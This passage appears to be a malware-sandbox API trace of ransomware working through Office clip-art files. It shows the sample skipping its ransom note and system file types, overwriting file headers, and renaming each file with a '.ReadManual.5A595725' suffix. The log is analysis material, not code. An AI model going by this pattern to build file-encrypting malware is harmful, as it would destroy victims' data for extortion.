returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ReadManual.5A595725" [0268.177] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.ReadManual.5A595725") returned 87 [0268.177] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38884577628) returned 1 [0268.177] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf")) returned 0x20 [0268.177] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.178] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3826) returned 1 [0268.178] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xef2, lpName=0x0) returned 0x184 [0268.178] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.178] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.178] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.180] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.180] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xef2) returned 0x2f0000 [0268.180] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.180] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38884927691) returned 1 [0268.181] CloseHandle (hObject=0x184) returned 1 [0268.181] SetSecurityInfo () returned 0x57 [0268.181] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.181] CloseHandle (hObject=0x194) returned 1 [0268.181] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0268.181] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196354.WMF" | out: lpString1="J0196354.WMF") returned="J0196354.WMF" [0268.181] lstrcmpiW (lpString1="J0196354.WMF", lpString2="RecoveryManual.html") returned -1 [0268.181] StrStrIW (lpFirst="J0196354.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.181] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.181] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.181] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" [0268.181] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ReadManual.5A595725" [0268.181] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.ReadManual.5A595725") returned 87 [0268.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38885027281) returned 1 [0268.182] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 0x20 [0268.182] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.182] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13702) returned 1 [0268.182] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3586, lpName=0x0) returned 0x184 [0268.182] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.183] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.183] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.187] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.187] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3586) returned 0x2f0000 [0268.187] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.187] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38885621165) returned 1 [0268.187] CloseHandle (hObject=0x184) returned 1 [0268.188] SetSecurityInfo () returned 0x57 [0268.188] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.188] CloseHandle (hObject=0x194) returned 1 [0268.188] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0268.188] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196358.WMF" | out: lpString1="J0196358.WMF") returned="J0196358.WMF" [0268.188] lstrcmpiW (lpString1="J0196358.WMF", lpString2="RecoveryManual.html") returned -1 [0268.188] StrStrIW (lpFirst="J0196358.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.188] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.188] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.188] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" [0268.188] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ReadManual.5A595725" [0268.188] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.ReadManual.5A595725") returned 87 [0268.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38885718527) returned 1 [0268.188] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 0x20 [0268.189] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.189] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6912) returned 1 [0268.189] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b00, lpName=0x0) returned 0x184 [0268.189] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.190] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.190] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.191] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.191] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b00) returned 0x2f0000 [0268.191] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.192] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38886031768) returned 1 [0268.192] CloseHandle (hObject=0x184) returned 1 [0268.192] SetSecurityInfo () returned 0x57 [0268.192] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.192] CloseHandle (hObject=0x194) returned 1 [0268.192] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0268.192] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0196364.WMF" | out: lpString1="J0196364.WMF") returned="J0196364.WMF" [0268.192] lstrcmpiW (lpString1="J0196364.WMF", lpString2="RecoveryManual.html") returned -1 [0268.192] StrStrIW (lpFirst="J0196364.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.192] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.192] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.192] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" [0268.192] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ReadManual.5A595725" [0268.192] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.ReadManual.5A595725") returned 87 [0268.193] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38886129054) returned 1 [0268.193] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf")) returned 0x20 [0268.193] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.194] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5708) returned 1 [0268.194] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x164c, lpName=0x0) returned 0x184 [0268.194] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.194] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.196] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.196] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x164c) returned 0x2f0000 [0268.196] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.196] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38886521379) returned 1 [0268.197] CloseHandle (hObject=0x184) returned 1 [0268.197] SetSecurityInfo () returned 0x57 [0268.197] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.197] CloseHandle (hObject=0x194) returned 1 [0268.197] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d26, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0197979.WMF", cAlternateFileName="")) returned 1 [0268.197] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0197979.WMF" | out: lpString1="J0197979.WMF") returned="J0197979.WMF" [0268.197] lstrcmpiW (lpString1="J0197979.WMF", lpString2="RecoveryManual.html") returned -1 [0268.197] StrStrIW (lpFirst="J0197979.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.197] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.197] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.197] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" [0268.197] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ReadManual.5A595725" [0268.197] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF.ReadManual.5A595725") returned 87 [0268.197] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38886624380) returned 1 [0268.198] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf")) returned 0x20 [0268.198] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197979.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197979.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.198] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40230) returned 1 [0268.198] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d26, lpName=0x0) returned 0x184 [0268.198] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.199] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.199] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0268.201] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0268.201] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d26) returned 0x2f0000 [0268.202] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0268.202] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38887109680) returned 1 [0268.202] CloseHandle (hObject=0x184) returned 1 [0268.202] SetSecurityInfo () returned 0x57 [0268.203] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0268.203] CloseHandle (hObject=0x194) returned 1 [0268.203] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23edc800, ftCreationTime.dwHighDateTime=0x1be3d01, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23edc800, ftLastWriteTime.dwHighDateTime=0x1be3d01, nFileSizeHigh=0x0, nFileSizeLow=0x668c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0197983.WMF", cAlternateFileName="")) returned 1 [0268.203] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0197983.WMF" | out: lpString1="J0197983.WMF") returned="J0197983.WMF" [0268.203] lstrcmpiW (lpString1="J0197983.WMF", lpString2="RecoveryManual.html") returned -1 [0268.203] StrStrIW (lpFirst="J0197983.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0268.203] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0268.203] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0268.203] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" [0268.203] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ReadManual.5A595725" [0268.203] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF.ReadManual.5A595725") returned 87 [0268.203] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38887208294) returned 1 [0268.203] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf")) returned 0x20 [0268.204] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0197983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0197983.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0268.204] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26252) returned 1 [0268.204] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x668c, lpName=0x0) returned 0x184 [0268.205] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0268.205] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.205] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, 